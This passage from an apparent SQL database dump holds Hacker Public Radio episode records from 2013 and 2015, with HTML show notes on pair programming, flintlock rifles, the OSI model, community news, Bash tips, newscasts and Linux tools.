href=\"https://venezuelanalysis.com/analysis/8377\">https://venezuelanalysis.com/analysis/8377</a></li>\r\n<li><a href=\"https://inthesetimes.com/article/14784/banks_betrayal_and_bankruptcy/\">https://inthesetimes.com/article/14784/banks_betrayal_and_bankruptcy/</a></li>\r\n<li><a href=\"https://torrentfreak.com/new-zealand-gave-kim-dotcom-residency-knowing-he-was-wanted-by-fbi-130325/\">https://torrentfreak.com/new-zealand-gave-kim-dotcom-residency-knowing-he-was-wanted-by-fbi-130325/</a></li>\r\n<li><a href=\"https://torrentfreak.com/websites-can-legally-pirate-porn-movies-prosecutors-rule-130123/\">https://torrentfreak.com/websites-can-legally-pirate-porn-movies-prosecutors-rule-130123/</a></li>\r\n<li><a href=\"https://www.talkgeektome.us/www.talkgeektome.us/tgtmnews-93.xhtml\">https://www.talkgeektome.us/www.talkgeektome.us/tgtmnews-93.xhtml</a></li>\r\n</ul> \r\n',237,65,1,'CC-BY-SA','newscast,TGTM',0,1722,1),
(1215,'2013-03-29','Pair Programming',498,'An agile software development technique where two programmers work together at one workstation','<p>\r\nLinks:\r\n</p>\r\n<p>\r\nModulus7 Pair Programming Interview: <a href=\"https://modulus7.com/7-bit-podcast-episode-pair-programming/\">https://modulus7.com/7-bit-podcast-episode-pair-programming/</a>\r\n</p>\r\n<p>\r\nPair Programming on the Portland Patterns Repository: <a href=\"https://c2.com/cgi/wiki?PairProgramming\">https://c2.com/cgi/wiki?PairProgramming</a>\r\n</p>\r\n<p>\r\nPair Programming at C2 (similar content): <a href=\"https://c2.com/xp/PairProgramming.html\">https://c2.com/xp/PairProgramming.html</a>\r\n</p>\r\n<p>\r\nWikipedia Entry: <a href=\"https://en.wikipedia.org/wiki/Pair_programming\">https://en.wikipedia.org/wiki/Pair_programming</a>\r\n</p>\r\n<p>\r\nXP Pair Programming Resources: <a href=\"https://www.extremeprogramming.org/rules/pair.html\">https://www.extremeprogramming.org/rules/pair.html</a>\r\n</p>\r\n<p>\r\nGNU Screen: <a href=\"https://www.gnu.org/software/screen/\">https://www.gnu.org/software/screen/</a>\r\n</p>\r\n<p>\r\ntmux: <a href=\"https://tmux.sourceforge.net/\">https://tmux.sourceforge.net/</a>\r\n</p>\r\n<p>\r\nSubEthaEdit: <a href=\"https://www.codingmonkeys.de/subethaedit/\">https://www.codingmonkeys.de/subethaedit/</a>\r\n</p>\r\n<p>\r\nGobby: <a href=\"https://gobby.0x539.de/trac/\">https://gobby.0x539.de/trac/</a>\r\n</p>\r\n<p>\r\nMy Company: <a href=\"https://altbit.org\">https://altbit.org</a>\r\n</p>\r\n<p>\r\nMy Personal Site: <a href=\"https://hobbsc.sdf-us.org\">https://hobbsc.sdf-us.org</a>\r\n</p>',241,0,0,'CC-BY-SA','\"agile software\",\"pair programming\",\"GNU Screen\",tmux',0,1904,1),
(1219,'2013-04-04','The Care and Feeding of the Flintlock Muzzleloading Rifle',1557,'Russ speaks about a hobby he used to be very involved in','<h2>Links</h2>\r\n<ul>\r\n<li>The Flintlock Muzzleloading Firearm : <a href=\"https://en.wikipedia.org/wiki/Flintlock\">https://en.wikipedia.org/wiki/Flintlock</a></li>\r\n<li>An example of a Muzzleloading Rifleman\'s Woods Walk: <a href=\"https://www.youtube.com/watch?v=VFM8v2KCKcY\">https://www.youtube.com/watch?v=VFM8v2KCKcY</a></li>\r\n<li>Dixon\'s Muzzleloading Shop &amp; Gun Maker\'s Fair: <a href=\"https://www.dixonmuzzleloading.com/\">https://www.dixonmuzzleloading.com/</a></li>\r\n<li>Percussion Caps : <a href=\"https://en.wikipedia.org/wiki/Percussion_cap\">https://en.wikipedia.org/wiki/Percussion_cap</a></li>\r\n<li>Percussion Locks or Cap Locks : <a href=\"https://en.wikipedia.org/wiki/Percussion_lock\">https://en.wikipedia.org/wiki/Percussion_lock</a></li>\r\n<li>English Flints : <a href=\"https://www.trackofthewolf.com/List/Item.aspx/141/1/FLINT-ENG-7\">https://www.trackofthewolf.com/List/Item.aspx/141/1/FLINT-ENG-7</a></li>\r\n<li>French Flints : <a href=\"https://www.trackofthewolf.com/list/Item.aspx/142/1\">https://www.trackofthewolf.com/list/Item.aspx/142/1</a></li>\r\n<li>Siler Locks : <a href=\"https://www.longrifles-pr.com/silerlocks.shtml\">https://www.longrifles-pr.com/silerlocks.shtml</a></li>\r\n<li>The parts of a Flintlock: <a href=\"https://www.muzzleloaderbuilderssupply.com/silerlock.html\">https://www.muzzleloaderbuilderssupply.com/silerlock.html</a></li>\r\n<li>The maker of Russ\'s custom Flintlock Rifle : <a href=\"https://www.facebook.com/CabinCreekMuzzleloading/timeline?filter=1\">https://www.facebook.com/CabinCreekMuzzleloading/timeline?filter=1</a></li>\r\n<li>You can get a Cow\'s Knee from Cabin Creek too! : <a href=\"https://cabincreek.net/index.php?option=com_content&task=view&id=11&Itemid=20\">https://cabincreek.net/index.php?option=com_content&amp;task=view&amp;id=11&amp;Itemid=20</a></li>\r\n<li>Pillow Ticking fabric : <a href=\"https://www.onlinefabricstore.net/foam-and-pillows/pillow-ticking-fabric.htm\">https://www.onlinefabricstore.net/foam-and-pillows/pillow-ticking-fabric.htm</a></li>\r\n<li>Wonder Lube : <a href=\"https://www.trackofthewolf.com/Categories/PartDetail.aspx/132/1/OX-LUBE\">https://www.trackofthewolf.com/Categories/PartDetail.aspx/132/1/OX-LUBE</a></li>\r\n<li>Russ uses Hornady Swaged .490 balls with a .014 patch: <a href=\"https://www.hornady.com/muzzleloading/round-ballhard-ball\">https://www.hornady.com/muzzleloading/round-ballhard-ball</a></li>\r\n<li>Fg, FFg, FFFg, FFFg, Black Powder: <a href=\"https://www.powderinc.com/blackpowder.htm\">https://www.powderinc.com/blackpowder.htm</a></li>\r\n<li>Beware the Man who owns one gun, he probably knows how to use it!: <a href=\"https://www.fieldandstream.com/blogs/gun-nuts/2011/11/beware-man-one-gun\">https://www.fieldandstream.com/blogs/gun-nuts/2011/11/beware-man-one-gun</a></li>\r\n<li>Sergeant York learned to shoot using Muzzleloading rifles: <a href=\"https://en.wikipedia.org/wiki/Alvin_C._York\">https://en.wikipedia.org/wiki/Alvin_C._York</a></li>\r\n<li>Primitive Trekking books by Mark Baker here: <a href=\"https://www.amazon.com/gp/product/1880655160/ref=as_li_ss_tl?ie=UTF8&camp=1789&creative=390957&creativeASIN=1880655160&linkCode=as2&tag=thetecgeepod-20\">https://www.amazon.com/gp/product/1880655160/ref=as_li_ss_tl?ie=UTF8&camp=1789&creative=390957&amp;creativeASIN=1880655160&amp;linkCode=as2&amp;tag=thetecgeepod-20</a></li>\r\n<li>Primitive Trekking books by Mark Baker and here: <a href=\"https://www.amazon.com/gp/product/1880655209/ref=as_li_ss_tl?ie=UTF8&camp=1789&creative=390957&creativeASIN=1880655209&linkCode=as2&tag=thetecgeepod-20\">https://www.amazon.com/gp/product/1880655209/ref=as_li_ss_tl?ie=UTF8&amp;camp=1789&amp;creative=390957&amp;creativeASIN=1880655209&amp;linkCode=as2&amp;tag=thetecgeepod-20</a></li>\r\n<li>The Techie Geek Podcast: <a href=\"https://thetechiegeek.com/\">https://thetechiegeek.com/</a></li>\r\n</ul>\r\n',242,0,1,'CC-BY-SA','firearm,Flintlock,Muzzleloading,Rifle',0,1742,1),
(1216,'2013-04-01','Digital Data Transfer',1344,'Digital Data Transfer','<h2>Spoiler</h2>\r\n<p>How better to explain it than by sending it out in Morse Code <a href=\"https://hackerpublicradio.org/eps.php?id=1343\">https://hackerpublicradio.org/eps.php?id=1343</a>.</p>\r\n<p>\r\nIn this the first in a series exploring The Open Systems Interconnection (OSI) model (ISO/IEC 7498-1)\r\n</p>\r\n<p>\r\n<em>\r\nOSI model<br />\r\nFrom Wikipedia, the free encyclopedia https://en.wikipedia.org/wiki/OSI_model\r\n</em>\r\n</p>\r\n<p>\r\n<em>\r\nThe Open Systems Interconnection (OSI) model (ISO/IEC 7498-1) is a product of the Open Systems Interconnection effort at the International Organization for Standardization. It is a prescription of characterizing and standardizing the functions of a communications system in terms of abstraction layers. Similar communication functions are grouped into logical layers. A layer serves the layer above it and is served by the layer below it.\r\n</em>\r\n</p>\r\n<p>\r\n<em>\r\nFor example, a layer that provides error-free communications across a network provides the path needed by applications above it, while it calls the next lower layer to send and receive packets that make up the contents of that path. Two instances at one layer are connected by a horizontal connection on that layer.\r\n</em>\r\n</p>\r\n<p>\r\nIn today\'s show Ken starts off with a practical example of Layer One, the <strong>The Physical Layer</strong>, <a href=\"https://en.wikipedia.org/wiki/Physical_layer\">https://en.wikipedia.org/wiki/Physical_layer</a>. Although we are limited to audio for the purposes of the show, the same techniques could and are used across the light spectrum.\r\n</p>\r\n',30,83,1,'CC-BY-SA','OSI,ISO/IEC 7498-1,7-layer model',0,6100,1),
(1217,'2013-04-02','HPR Community News for March 2013',3300,'HPR Community News for March 2013','<h2>New hosts</h2>\r\n<p>\r\nWelcome to our new hosts: \r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\">Jon Kulp</a>, \r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=239\">b1ackcr0w</a>, \r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=240\">Steve Bickle</a>, and\r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=241\">Christopher M. Hobbs</a>.\r\n</p>\r\n\r\n<h2>Show Review</h2>\r\n<table id=\"table_results\" class=\"data ajax\">\r\n<thead><tr>\r\n<th class=\"draggable condition\">id\r\n</th><th class=\"draggable\">title\r\n</th><th class=\"draggable\">host\r\n</th></tr>\r\n</thead>\r\n        <tbody>\r\n<tr class=\"odd\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1196</td>\r\n<td  class=\"data grid_edit not_null    \">HPR Community News Feb 2013</td>\r\n<td  class=\"data grid_edit not_null    \">Various Hosts</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1197</td>\r\n<td  class=\"data grid_edit not_null    \">What I do with bash scripts</td>\r\n<td  class=\"data grid_edit not_null    \">Jon Kulp</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1198</td>\r\n<td  class=\"data grid_edit not_null    \">THEATER OF THE IMAGINATION: 05</td>\r\n<td  class=\"data grid_edit not_null    \">lostnbronx</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1199</td>\r\n<td  class=\"data grid_edit not_null    \">Old Time Radio on the web</td>\r\n<td  class=\"data grid_edit not_null    \">Frank Bell</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1200</td>\r\n<td  class=\"data grid_edit not_null    \">CJE Computer Jargon Explained 01</td>\r\n<td  class=\"data grid_edit not_null    \">b1ackcr0w</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1201</td>\r\n<td  class=\"data grid_edit not_null    \">In My Feed - Episode 01</td>\r\n<td  class=\"data grid_edit not_null    \">Steve Bickle</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1202</td>\r\n<td  class=\"data grid_edit not_null    \">LiTS 025: bc</td>\r\n<td  class=\"data grid_edit not_null    \">Dann</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1203</td>\r\n<td  class=\"data grid_edit not_null    \">templer: a static html generator</td>\r\n<td  class=\"data grid_edit not_null    \">Chess Griffin</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1204</td>\r\n<td  class=\"data grid_edit not_null    \">My Magnatune Downloader</td>\r\n<td  class=\"data grid_edit not_null    \">Dave Morriss</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1205</td>\r\n<td  class=\"data grid_edit not_null    \">TGTM Newscast for 3/10/2013</td>\r\n<td  class=\"data grid_edit not_null    \">Tgtm News Team</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1206</td>\r\n<td  class=\"data grid_edit not_null    \">Resolving Issues (The Vhost Config File)</td>\r\n<td  class=\"data grid_edit not_null    \">NYbill and Windigo</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1207</td>\r\n<td  class=\"data grid_edit not_null    \">Icecast 101</td>\r\n<td  class=\"data grid_edit not_null    \">klaatu</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1208</td>\r\n<td  class=\"data grid_edit not_null    \">Northeast Linux Fest 2013 p1-3</td>\r\n<td  class=\"data grid_edit not_null    \">NYbill</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1209</td>\r\n<td  class=\"data grid_edit not_null    \">Northeast Linux Fest 2013 p2-3</td>\r\n<td  class=\"data grid_edit not_null    \">NYbill</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1210</td>\r\n<td  class=\"data grid_edit not_null    \">Northeast Linux Fest 2013 p3-3</td>\r\n<td  class=\"data grid_edit not_null    \">NYbill</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1211</td>\r\n<td  class=\"data grid_edit not_null    \">NELF Wrapup</td>\r\n<td  class=\"data grid_edit not_null    \">Various Hosts</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1212</td>\r\n<td  class=\"data grid_edit not_null    \">TGTM Newscast for 3/22/2013 Rebecca &quot;Bobobex&quot; Newborough</td>\r\n<td  class=\"data grid_edit not_null    \">Tgtm News Team</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1213</td>\r\n<td  class=\"data grid_edit not_null    \">LiTS 026: units</td>\r\n<td  class=\"data grid_edit not_null    \">Dann</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1214</td>\r\n<td  class=\"data grid_edit not_null    \">LinuxFest Northwest is April 27, 28,2013</td>\r\n<td  class=\"data grid_edit not_null    \">David Whitman</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1215</td>\r\n<td  class=\"data grid_edit not_null    \">Pair Programming</td>\r\n<td  class=\"data grid_edit not_null    \">Christopher M. Hobbs</td>\r\n</tr>\r\n            \r\n</tbody></table>\r\n\r\n\r\n<!--<h2>Apologies</h2>\r\n<p>\r\n\r\n</p>\r\n<h2>Thanks</h2>\r\n<p>\r\n\r\n</p>-->\r\n\r\n<h2>Other News</h2>\r\n<ul>\r\n<li>FiftyOneFifty shows to be scheduled on \"old\" rules</li>\r\n<li>README has been updated (several times)<br />\r\n<a href=\"https://hackerpublicradio.org/README.txt\">https://hackerpublicradio.org/README.txt</a><br />\r\n<a href=\"https://hackerpublicradio.org/sample_shownotes.html\">https://hackerpublicradio.org/sample_shownotes.html</a>\r\n</li>\r\n<li>Website and Feeds are released at Midnight was PST (-8) and is now UTC</li>\r\n<li>Photos from NELF <a href=\"https://media.gunmonkeynet.net\">https://media.gunmonkeynet.net</a></li>\r\n<li>NELF Chatter/SWAG</li>\r\n<li>HPR Mailing List will be archived on <a href=\"https://gmane.org/subscribe.php\">https://gmane.org/subscribe.php</a> as our own archiver is broken.</li>\r\n<li>What\'s a \"hacker\"?</li>\r\n<li>Booth kit is going to LFNW</li>\r\n<li>Latest HPR Presentation<br />\r\n<a href=\"https://hackerpublicradio.org/media/hpr-presentation.odp\">https://hackerpublicradio.org/media/hpr-presentation.odp</a><br />\r\n<a href=\"https://hackerpublicradio.org/media/hpr-presentation.pdf\">https://hackerpublicradio.org/media/hpr-presentation.pdf</a>\r\n</li>\r\n<li>Coffee cup logo</li>\r\n<li>Android app development</li>\r\n<li>Requested topics <a href=\"https://www.hackerpublicradio.org/contribute.php#requested_topics\">https://www.hackerpublicradio.org/contribute.php#requested_topics</a></li>\r\n<li>Part 2 off ...I Love Food, Good Food, April 6.</li>\r\n<li>Search was removed, Google added, some discussion happened</li>\r\n<li>To wordpress or not to wordpress, how to safely accept input from the web</li>\r\n<li>FTP Server moved off web server - README has moved</li>\r\n<li>Implemented a deny list on HPR</li>\r\n<li>Preview upcomming shows for hosts</li>\r\n</ul>\r\n\r\n<h2>Todo List</h2>\r\n<p>\r\nAutomate the presentation<br />\r\nSecuring the website<br />\r\nSearch options<br />\r\nIntroduction to HPR video<br />\r\nUpload Form<br />\r\nAdd ATOM Feed<br />\r\nOpus Support<br />\r\nIntroduction of show Tags<br />\r\nEvents Page<br />\r\nTwitter/Identi.CA Feed<br />\r\nUpload to Archive.org<br />\r\nAutomatic tagging of media files<br />\r\nAutomating media upload, identification and transcoding<br />\r\nFixing broken links<br />\r\nFixing broken HTML/Converting to HTML5/CSS3<br />\r\n</p>\r\n<h2>Events</h2>\r\n<ul>\r\n    <li><a href=\"https://www.linuxfestnorthwest.org/\">https://www.linuxfestnorthwest.org/</a>LFNW: LinuxFest Northwest 2013 Bellingham, WA April 27th and 28th, Contact: David Whitman </li>\r\n    <li>OCPLive May <a href=\"https://ocplive.com/\">https://ocplive.com/</a> Sometime ?</li>\r\n</ul>\r\n\r\n\r\n<h2>We need shows</h2>\r\n<p>\r\nThere are 22 shows in the queue from 7 hosts and 175 slots to fill this year so please consider contributing a show. <a href=\"https://hackerpublicradio.org/calendar.php\">https://hackerpublicradio.org/calendar.php</a>\r\n</p>\r\n',159,47,1,'CC-BY-SA','Community News',0,1807,1),
(1843,'2015-08-26','Some Bash tips',1277,'A few useful Bash features that may not be well known','<p>Today I want to talk about three Bash commands:</p>\r\n<ul>\r\n<li><code>pushd</code></li>\r\n<li><code>popd</code></li>\r\n<li><code>dirs</code></li>\r\n</ul>\r\n<p>These let you change directory on a Linux system (and others which support Bash) but keep a record of where you have been in a stack structure. The stack can be viewed and manipulated with these commands as well.</p>\r\n<p>I have written out a moderately long set of notes about these commands and these are available here <a href=\"https://hackerpublicradio.org/eps/hpr1843_full_shownotes.html\" class=\"uri\">https://hackerpublicradio.org/eps/hpr1843_full_shownotes.html</a>.</p>',225,42,1,'CC-BY-SA','Bash,pushd,popd,dirs',0,0,1),
(1218,'2013-04-03','TGTM Newscast for 2013/03/27 DeepGeek and Pokey',1843,'A newscast from Talk Geek to Me','<p>Here is a news review:</p>\r\n<ul>\r\n<li><a\r\nhref=\"https://maggiemcneill.wordpress.com/2013/03/21/dutch-threat/\">Dutch\r\nThreat</a>\r\n</li>\r\n<li><a\r\nhref=\"https://www.allgov.com/news/top-stories/despite-supreme-court-decision-obama-administration-insists-gps-tracking-doesnt-require-warrant-130321?news=849501\">Despite\r\nSupreme Court Decision, Obama Administration Insists GPS Tracking\r\nDoesn’t Require Warrant</a>\r\n</li>\r\n<li><a href=\"https://www.democracynow.org/2013/3/19/headlines#3198\">Trial\r\nOpens for Challenge to NYPD Stop-and-Frisk Policy</a>\r\n</li>\r\n<li><a href=\"https://www.havanatimes.org/?p=89903\">Venezuela Suspends\r\nDialogue with US</a>\r\n</li>\r\n<li><a href=\"https://www.havanatimes.org/?p=89866\">Socialism of the\r\n21st Century Post-Chavez</a>\r\n</li>\r\n<li><a\r\nhref=\"https://www.eff.org/deeplinks/2013/03/defend-open-web-keep-drm-out-w3c-standards\">Defend\r\nthe Open Web: Keep DRM Out of W3C Standards</a>\r\n</li>\r\n<li><a href=\"https://www.democracynow.org/2013/3/19/headlines#31910\">Hacker\r\nWho Revealed AT&amp;T Security Flaw Gets 3.5 Years in Prison</a>\r\n</li>\r\n<li><a\r\nhref=\"https://www.techdirt.com/articles/20130320/00571422386/mit-aaron-swartzs-lawyers-argue-over-releasing-evidence.shtml\">MIT\r\nAnd Aaron Swartz\'s Lawyers Argue Over Releasing Evidence</a>\r\n</li>\r\n<li><a\r\nhref=\"https://torrentfreak.com/rapidshare-prepares-to-mass-delete-free-user-data-over-5gb-130318/\">RapidShare\r\nPrepares to Mass Delete Free User Data Over 5GB</a>\r\n</li>\r\n<li><a\r\nhref=\"https://www.techdirt.com/articles/20130320/14213422400/will-people-trust-googles-new-note-keeping-service-after-reader-shutdown.shtml\">Will\r\nPeople Trust Google\'s New \'Note\' Keeping Service After Reader Shutdown?</a>\r\n</li>\r\n</ul>\r\n<p>Other Headlines:</p>\r\n<ul>\r\n<li><a\r\nhref=\"https://www.dw.de/icelands-grassroots-constitution-on-thin-ice/a-16682469\">Iceland\'s\r\ngrassroots constitution on thin ice</a>\r\n</li>\r\n<li><a href=\"https://www.havanatimes.org/?p=89894\">Cuba: Yoani Sanchez\r\nat the White House</a>\r\n</li>\r\n<li><a\r\nhref=\"https://titsandsass.com/getting-away-with-hating-it-consent-in-the-context-of-sex-work/\">“Getting\r\nAway” With Hating It: Consent in the Context of Sex Work</a>\r\n</li>\r\n<li><a href=\"https://venezuelanalysis.com/analysis/8281\">President\r\nChavez: A 21st Century Renaissance Man</a>\r\n</li>\r\n<li><a\r\nhref=\"https://www.cnn.com/2013/03/01/world/europe/iceland-pornography-ban/\">Free\r\nspeech activists oppose Iceland\'s proposed online pornography ban</a>\r\n</li>\r\n</ul>\r\n<p>Staffed and produced by the TGTM news team, Editorial Selection by\r\nDeepGeek, views of the story\r\nauthors reflect their own opinions and not neccesarily those of TGTM\r\nnews.\r\n</p>\r\n<p>News from \"techdirt.com,\" \"havanatimes.org,\" \r\n\"maggiemcneill.wordpress.com,\"\r\nand\r\n\"allgov.com\" used\r\nunder arranged\r\npermission.</p>\r\n<p>News\r\nfrom \"torrentfreak.com\" and \"eff.org\" used\r\nunder\r\npermission of the Creative Commons\r\nby-attribution license.</p>\r\n<p>News from \"democracynow.org\" used under permission of the Creative\r\nCommons\r\nby-attribution non-commercial no-derivatives license.<br />\r\n</p>\r\n<p>News Sources retain their respective copyrights.</p>\r\n\r\n<h2>Links</h2>\r\n<ul>\r\n<li><a href=\"https://maggiemcneill.wordpress.com/2013/03/21/dutch-threat/\">https://maggiemcneill.wordpress.com/2013/03/21/dutch-threat/</a>\r\n</li>\r\n<li><a href=\"https://www.allgov.com/news/top-stories/despite-supreme-court-decision-obama-administration-insists-gps-tracking-doesnt-require-warrant-130321?news=849501\">https://www.allgov.com/news/top-stories/despite-supreme-court-decision-obama-administration-insists-gps-tracking-doesnt-require-warrant-130321?news=849501</a>\r\n</li>\r\n<li><a href=\"https://www.democracynow.org/2013/3/19/headlines#3198\">https://www.democracynow.org/2013/3/19/headlines#3198</a>\r\n</li>\r\n<li><a href=\"https://www.havanatimes.org/?p=89903\">https://www.havanatimes.org/?p=89903</a>\r\n</li>\r\n<li><a href=\"https://www.havanatimes.org/?p=89866\">https://www.havanatimes.org/?p=89866</a>\r\n</li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2013/03/defend-open-web-keep-drm-out-w3c-standards\">https://www.eff.org/deeplinks/2013/03/defend-open-web-keep-drm-out-w3c-standards</a>\r\n</li>\r\n<li><a href=\"https://www.democracynow.org/2013/3/19/headlines#31910\">https://www.democracynow.org/2013/3/19/headlines#31910</a>\r\n</li>\r\n<li><a href=\"https://www.techdirt.com/articles/20130320/00571422386/mit-aaron-swartzs-lawyers-argue-over-releasing-evidence.shtml\">https://www.techdirt.com/articles/20130320/00571422386/mit-aaron-swartzs-lawyers-argue-over-releasing-evidence.shtml</a>\r\n</li>\r\n<li><a href=\"https://torrentfreak.com/rapidshare-prepares-to-mass-delete-free-user-data-over-5gb-130318/\">https://torrentfreak.com/rapidshare-prepares-to-mass-delete-free-user-data-over-5gb-130318/</a>\r\n</li>\r\n<li><a href=\"https://www.techdirt.com/articles/20130320/14213422400/will-people-trust-googles-new-note-keeping-service-after-reader-shutdown.shtml\">https://www.techdirt.com/articles/20130320/14213422400/will-people-trust-googles-new-note-keeping-service-after-reader-shutdown.shtml</a>\r\n</li>\r\n<li><a href=\"https://www.dw.de/icelands-grassroots-constitution-on-thin-ice/a-16682469\">https://www.dw.de/icelands-grassroots-constitution-on-thin-ice/a-16682469</a>\r\n</li>\r\n<li><a href=\"https://www.havanatimes.org/?p=89894\">https://www.havanatimes.org/?p=89894</a>\r\n</li>\r\n<li><a href=\"https://titsandsass.com/getting-away-with-hating-it-consent-in-the-context-of-sex-work/\">https://titsandsass.com/getting-away-with-hating-it-consent-in-the-context-of-sex-work/</a>\r\n</li>\r\n<li><a href=\"https://venezuelanalysis.com/analysis/8281\">https://venezuelanalysis.com/analysis/8281</a>\r\n</li>\r\n<li><a href=\"https://www.cnn.com/2013/03/01/world/europe/iceland-pornography-ban/\">https://www.cnn.com/2013/03/01/world/europe/iceland-pornography-ban/</a>\r\n</li>\r\n</ul>\r\n',237,65,1,'CC-BY-SA','newscast,TGTM',0,1537,1),
(1220,'2013-04-05','Cinnarch 64 bit, Installation Review',1898,'Cinnarch, an Arch-based distro running Cinnamon','<p>\r\nHowdy folks, this is FiftyOneFifty, and today I wanted to talk about my experiences installing the 64 bit version of Cinnarch net edition on a dual core notebook. Cinnarch of course is a relatively new Arch based distro running the Cinnamon fork of Gnome. I had previously installed Arch proper on this notebook, but when I rebooted to the hard drive, I lost the Ethernet connection. This is not uncommon, but there the notebook sat while until I had time to work the problem. I wanted to start using the notebook, and I\'d heard good things about Cinnarch, so it seemed like a simple solution. I went into knowing Cinnarch was in alpha, so i shouldn\'t have been surprised when an update broke the system less then a week after the install, but that comes later in my story.\r\n</p>\r\n<p>\r\nComplete show notes are available here: <a href=\"https://hackerpublicradio.org/eps/hpr1220/index.html\">https://hackerpublicradio.org/eps/hpr1220/index.html</a>\r\n</p>',131,0,1,'CC-BY-SA','Cinnarch',0,1938,1),
(1222,'2013-04-09','LiTS 027: mathematical commands',1277,'Episode 27 of Linux in the Shell continues on with looking at some mathematical commands','<p>\r\nEpisode 27 of Linux in the Shell continues on with looking at some mathematical commands. Four programs are discussed:\r\n</p>\r\n\r\n<ul>\r\n<li><p>factor - which will give you the prime factors of a number</p>\r\n</li>\r\n<li><p>primes - which will list all the prime numbers between a start and option stopping number</p>\r\n</li>\r\n<li><p>seq - sequence will list all the numbers given a stopping point or a starting and stopping point. You can also specify an increment or decrement value.</p>\r\n</li>\r\n<li>arithmetic - Arithmetic is a game from the bsd games package that will quiz you on arithmetic problems.\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nFor full notes go to <a href=\"https://www.linuxintheshell.com/2013/04/09/episode-27-factor-primes-seq-and-arithmetic/\">https://www.linuxintheshell.com/2013/04/09/episode-27-factor-primes-seq-and-arithmetic/</a>\r\n</p>\r\n',7,67,1,'CC-BY-SA','factor, primes, seq, arithmetic',0,2393,1),
(1223,'2013-04-10','How I got into linux',719,'From Windows to Arch with a few other Linux versions along the way','In today\'s episode, jezra shares the story of how he got into Linux.',243,29,1,'CC-BY-SA','Windows,\"Corel Linux\",\"Red Hat Linux\",Ubuntu,Debian,Arch,Python,jedit,geany',0,1997,1),
(1224,'2013-04-11','Podio Book Report on Jake Bible\'s \"Dead Mech\"',1083,'A review of a well thought of book','In today\'s show FiftyOneFifty shares his review of the PodioBook by Jake Bible\'s \"Dead Mech\" and Reflections Upon Podcasting from the Bottom of a Well\r\n<br />\r\n<a href=\"https://podiobooks.com/title/dead-mech/\">https://podiobooks.com/title/dead-mech/</a><br/>\r\n<a href=\"https://jakebible.com/\">https://jakebible.com/</a>\r\n',131,0,1,'CC-BY-SA','audiobook,podiobooks.com',0,1788,1),
(1225,'2013-04-12','Modern Survivalism Part 2',2768,'Modern Survivalism - part 2 of 2','<!-- \r\nRule 4\r\nLast release time of show hosts:\r\n190	2011-09-18	Tracy Holz_Holzster <workingintheopen.nospam@nospam.gmail.com>\r\n182	2012-10-24	Epicanis <epicanis+hpr.nospam@nospam.dogphilosophy.net>\r\n185	2012-10-31	Mike Hingley <computa_mike.nospam@nospam.hotmail.com>\r\n115	2012-11-28	sigflup <pantsbutt.nospam@nospam.gmail.com>\r\n73	2012-12-28	deepgeek <hpr.nospam@nospam.deepgeek.us >\r\n214	2013-01-24	Nido Media <nido.nospam@nospam.foxserver.be>\r\n229	2013-02-21	Charles in NJ <catintp.nospam@nospam.yahoo.com>\r\n198	2013-02-22	Ahuka <zwilnik.nospam@nospam.zwilnik.com>\r\n238	2013-03-05	Jon Kulp <jonlancekulp.nospam@nospam.gmail.com>\r\n78	2013-03-19	klaatu <klaatu.nospam@nospam.hackerpublicradio.org>\r\n131	2013-04-11	FiftyOneFifty <fiftyonefifty.nospam@nospam.linuxbasement.com>\r\n\r\n-->\r\n<p>\r\nToday\'s show we start a new series on Modern Survivalism where you do everything you can to make your life better now by lessening dependency, trying to live debt free and learning basic skills.\r\n</p>',190,0,0,'CC-BY-SA','Modern Survivalism ',0,2110,1),
